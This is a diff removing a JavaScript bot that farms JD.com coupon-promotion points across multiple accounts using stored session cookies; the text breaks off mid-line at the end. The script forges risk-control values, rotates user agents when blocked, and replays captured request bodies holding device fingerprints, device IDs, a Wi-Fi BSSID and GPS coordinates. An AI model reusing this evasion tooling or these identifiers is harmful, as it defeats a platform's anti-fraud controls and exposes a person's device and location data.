/dev/null @@ -1,519 +0,0 @@ -/* -点点券,可以兑换无门槛红包(1元,5元,10元,100元,部分红包需抢购) -Last Modified time: 2021-05-28 17:27:14 -活动入口:京东APP-领券中心/券后9.9-领点点券 [活动地址](https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html) -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===============Quantumultx=============== -[task_local] -#点点券 -20 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - - */ -const $ = new Env('点点券二代目'); -const ZooFaker=require('./ZooFaker_Necklace.js').utils; -let allMessage = ``; -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html%22%20%7D` - -$.UA = ``; -$.UUID = ``; -$.joyytoken_count = 1 -getUA() -let message = ''; -let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - console.log(`\n通知:[非法请求] 可以等5分钟左右再次执行脚本\n`); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - errorMsgLllegal = 0 - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - await jd_necklace(); - // break - } - } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: openUrl }) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jd_necklace() { - try { - await necklace_homePage(); - await $.wait(2000) - await doTask(); - await $.wait(2000) - await sign(); - await $.wait(2000) - await necklace_homePage(); - await receiveBubbles(); - await necklace_homePage(); - // // await necklace_exchangeGift($.totalScore);//自动兑换多少钱的无门槛红包,1000代表1元,默认兑换全部点点券 - await showMsg(); - await $.wait(2000) - } catch (e) { - $.logErr(e) - } -} -function showMsg() { - return new Promise(async resolve => { - $.msg($.name, '', `京东账号${$.index} ${$.nickName || $.UserName}\n${(errorMsgLllegal > 0 && "当前有"+errorMsgLllegal+"个[非法请求]任务\n") || ""}当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击弹窗即可去兑换(注:此红包具有时效性)`, { 'open-url': openUrl}); - // 云端大于10元无门槛红包时进行通知推送 - // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index}`, `京东账号${$.index}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击链接即可去兑换(注:此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl }) - if ($.isNode() && (nowTimes.getHours() >= 20 || errorMsgLllegal > 0) && (process.env.DDQ_NOTIFY_CONTROL ? process.env.DDQ_NOTIFY_CONTROL === 'false' : !!1)) { - allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${(errorMsgLllegal > 0 && "当前有"+errorMsgLllegal+"个[非法请求]任务\n") || ""}当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注:此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n↓↓↓ \n\n "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html" \n\n ↑↑↑`}` - } - resolve() - }) -} -async function doTask() { - for (let item of $.taskConfigVos) { - if (item.taskStage === 0) { - console.log(`【${item.taskName}】 任务未领取,开始领取此任务`); - let res = await necklace_startTask(item.id); - if(res && res.rtn_code == 0){ - console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`); - await $.wait(2000); - await reportTask(item); - await $.wait(2000) - } - } else if (item.taskStage === 2) { - console.log(`【${item.taskName}】 任务已做完,奖励未领取`); - } else if (item.taskStage === 3) { - console.log(`${item.taskName}奖励已领取`); - } else if (item.taskStage === 1) { - console.log(`\n【${item.taskName}】 任务已领取但未完成,开始完成此任务`); - await reportTask(item); - await $.wait(2000) - } - } -} -async function receiveBubbles() { - for (let item of $.bubbles) { - console.log(`\n开始领取点点券`); - await necklace_chargeScores(item.id) - await $.wait(2000) - } -} -async function sign() { - if ($.signInfo && $.signInfo.todayCurrentSceneSignStatus === 1) { - console.log(`\n开始每日签到`) - await necklace_sign(); - } else if($.signInfo) { - console.log(`当前${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}已签到`) - } -} -async function reportTask(item = {}) { - //普通任务 - if (item['taskType'] === 2) await necklace_startTask(item.id, 'necklace_reportTask'); - //逛很多商品店铺等等任务 - if (item['taskType'] === 6 || item['taskType'] === 8 || item['taskType'] === 5 || item['taskType'] === 9) { - //浏览精选活动任务 - await necklace_getTask(item.id); - $.taskItems = $.taskItems.filter(value => !!value && value['status'] === 0); - for (let vo of $.taskItems) { - console.log(`浏览精选活动 【${vo['title']}】`); - await necklace_startTask(item.id, 'necklace_reportTask', vo['id']); - } - } - //首页浏览XX秒的任务 - // console.log(item) - if (item['taskType'] === 3) await doAppTask('3', item.id); - if (item['taskType'] === 4) await doAppTask('4', item.id); -} -//每日签到福利 -function necklace_sign() { - return new Promise(async resolve => { - $.action = 'sign' - const body=await ZooFaker.get_risk_result($) - // const body = { - // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - // } - $.post(taskPostUrl("necklace_sign", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - console.log(`签到成功,时间:${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}`) - // $.taskConfigVos = data.data.result.taskConfigVos; - // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - } - } else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ - console.log(`每日签到失败:${data.rtn_msg}\n`) - errorMsgLllegal += 1 - getUA() - } else { - console.log(`每日签到失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//兑换无门槛红包 -function necklace_exchangeGift(scoreNums) { - return new Promise(resolve => { - const body = { - scoreNums, - "giftConfigId": 31, - currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - } - $.post(taskPostUrl("necklace_exchangeGift", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - const { result } = data.data; - message += `${result.redpacketTitle}:${result.redpacketAmount}元兑换成功\n`; - message += `红包有效期:${new Date(result.endTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false})}`; - console.log(message) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//领取奖励 -function necklace_chargeScores(bubleId) { - return new Promise(async resolve => { - $.id = bubleId - $.action = 'chargeScores' - const body=await ZooFaker.get_risk_result($); - // const body = { - // bubleId, - // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - // } - $.post(taskPostUrl("necklace_chargeScores", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - // $.taskConfigVos = data.data.result.taskConfigVos; - // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - } - } else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ - console.log(`领取奖励失败:${data.rtn_msg}\n`) - errorMsgLllegal += 1 - getUA() - }else{ - console.log(`领取奖励失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId = "") { - return new Promise(async resolve => { - let body = { - taskId, - currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - } - if(functionId == 'necklace_startTask'){ - $.id = taskId - $.action = 'startTask' - body=await ZooFaker.get_risk_result($) - }else{ - if (itemId) body['itemId'] = itemId; - } - $.post(taskPostUrl(functionId, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`${functionId === 'necklace_startTask' ? '领取任务结果' : '做任务结果'}:${data}`); - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - // $.taskConfigVos = data.data.result.taskConfigVos; - // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - } - }else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ - console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务结果'}:${data.rtn_msg}\n`) - errorMsgLllegal += 1 - getUA() - }else{ - console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务结果'}:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function necklace_getTask(taskId) { - return new Promise(resolve => { - const body = { - taskId, - currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - } - $.taskItems = []; - $.post(taskPostUrl("necklace_getTask", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - $.taskItems = data.data.result && data.data.result.taskItems; - } - }else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ - console.log(`浏览精选活动失败:${data.rtn_msg}\n`) - errorMsgLllegal += 1 - getUA() - }else{ - console.log(`浏览精选活动失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function necklace_homePage() { - $.taskConfigVos = []; - $.bubbles = []; - $.signInfo = {}; - return new Promise(resolve => { - $.post(taskPostUrl('necklace_homePage'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - $.taskConfigVos = data.data.result.taskConfigVos; - $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - $.lastRequestTime = data.data.result.lastRequestTime; - $.bubbles = data.data.result.bubbles; - $.signInfo = data.data.result.signInfo; - $.totalScore = data.data.result.totalScore; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function doAppTask(type = '3', id) { - console.log(id) - let functionId = 'getCcTaskList' - let body = "area=16_1315_3486_59648&body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22globalLat%22%3A%2224.49335%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22globalLng%22%3A%22118.1423%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=75afd018b5751e9ac4cba0b51b8adb3c&st=1624535152771&sv=101&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b" - await getCcTaskList(functionId, body, type); - if(Number(id) == 229){ - body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22taskId%22%3A%22necklace_229%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=57453a76ffe9440d7961b05405fb4f13&st=1624535165882&sv=110&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 260){ - body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49435886957707%22%2C%22taskId%22%3A%22necklace_260%22%2C%22lng%22%3A%22118.144791637343%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167568&client=apple&clientVersion=9.4.2&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=93249982ced7ec850c69de8b3e859dab&st=1624610691429&sv=110&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSTfJm3Nbyn7GqB7OtrJRuHoZMYV%2Bs0mkEZsSwjxzwlDPXLeepml5BnM5XPZQmPVomYBHlkSfLJWR5D1y0Ovgf60fpjMS2gXL5aLh50cNO3cmx2GvVTaTeYxvRUl%2BpaW7HXsuBhxJgA6pUzd01tBX9yiFih8xvToesg91Nl8KcWGYzXJ2/hWKXg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 267){ - body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49437467152672%22%2C%22taskId%22%3A%22necklace_267%22%2C%22lng%22%3A%22118.1447981202065%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=64e2361aa2a81068930c0c3325fd45ef&st=1624950832218&sv=111&uemps=0-0&uts=0f31TVRjBSsMGLCxYS3UIqlZl8dbXmnuZ4ayfhN43Ot1QaV41onc66czNm7agt5ZxuI/ZiEjTyLMd9C68bu6j250BhqFBz9aHYMZHRsZRt99av4Tsia77GOWxlDaSYf5ixm0pZhBRR4OQ%2BUBD6%2BPW4wCMOS5CO3/VI2cFHPfi%2BdGNinbfncIha86vGUGuGKiHSAf4rUFY4wrafX6Rksw7g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 273){ - body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.494383110087%22%2C%22taskId%22%3A%22necklace_273%22%2C%22lng%22%3A%22118.1447767134287%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=71&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c5f1773c699259a32596629ff17c77af&st=1627034890276&sv=101&uemps=0-0&uts=0f31TVRjBSuc9dw/M%2Bj%2BYjMPuoLDUbUPjPag%2BZ5OSbdXPyIGbVBxfPOWG8Z24KZdpryfyfoAUE5oYfYi1SuqGZ5atF1ARqzdFrPeo%2BZQVMmuwn/nYDGsLdj0Q9HcidhJXAaY1ti0j023Mv4f/ls51fJl5ypecBgw2sWtd8KiGQncYOe9GxCz6tlkHuSHDk3zN6hF%2BN0deRJOqJP8OOrJog%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 281){ - body = `area=16_1332_42932_43102&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.541458%22%2C%22globalLat%22%3A%2224.609455%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49440185204448%22%2C%22taskId%22%3A%22necklace_281%22%2C%22lng%22%3A%22118.1448096802756%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6bf1da7e3c218998ae5bd34a5b9b0d5c&st=1627088377408&sv=122&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJPuQXd3Iw2YAKsnsGHXGtpI6DTtbcnaz7p7QeCmsoL2Cl/BMWopi0bEL/HBdhfK3iH/oMP6POfCzGYqGUp9HjUx/7lG%2BGpzuUJ%2B7ZrAQF4UMuG2/9epLOLCkpw4w6EgF4FqamAtXxTBCJZ82M%2Bkm26wJx996BKm7JCzdQfT6pJ0aFbovPOlp71A%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - } - if (type === '4') { - // https://h5.m.jd.com/babelDiy/Zeus/2fDwtAwAQX1PJh51f3UXzLhKiD86/index.html - console.log('需等待30秒') - functionId = 'reportSinkTask' - body = `&appid=XPMSGC2019&monitorSource=&uuid=16245525345801334814959&body=%7B%22platformType%22%3A%221%22%2C%22taskId%22%3A%22necklace_${id}%22%7D&client=m&clientVersion=4.6.0&area=16_1315_1316_59175&geo=%5Bobject%20Object%5D` - await $.wait(15000); - } else { - // https://h5.m.jd.com/babelDiy/Zeus/3TcqzbLKXwyiGDzrn5nKV7sSEC8N/index.html - console.log('需等待15秒') - functionId = 'reportCcTask' - } - await $.wait(1600); - await getCcTaskList(functionId, body, type); -} -function getCcTaskList(functionId, body, type = '3') { - let url = `https://api.m.jd.com/client.action?functionId=${functionId}` - return new Promise(resolve => { - if (functionId === 'getCcTaskList') { - - } - if (functionId === 'reportCcTask'){ - - } - if (functionId === 'reportSinkTask'){ - url += body - body = '' - } - // if (type === '4' && functionId === 'reportCcTask'){ - // url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622193986049&sign=f5abd9fd7b9b8abaa25b34088f9e8a54&sv=102` - // body = `body=${escape(JSON.stringify(body))}` - // } - const options = { - url, - body, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Length": "63", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Cookie": cookie+`joyytoken=${"50082" + $.joyytoken};`, - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", - "User-Agent": $.UA, - } - } - $.post((options), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - if (type === '3' && functionId === 'reportCcTask') console.log(`点击首页领券图标(进入领券中心浏览15s)任务:${data}`) - if (type === '4' && functionId === 'reportSinkTask') console.log(`点击“券后9.9”任务:${data}`) - // data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskPostUrl(function_id, body = {}) { - const time = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; - return { - url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${Date.now()}`, - body:`body=${escape(JSON.stringify(body))}`, - headers: { - 'Host': 'api.m.jd.com', - 'accept': 'application/json, text/plain, */*', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://h5.m.jd.com', - 'accept-language': 'zh-cn', - 'User-Agent': $.UA, - 'referer': 'https://h5.m.jd.com/', - 'cookie': cookie+`joyytoken=${"50082" + 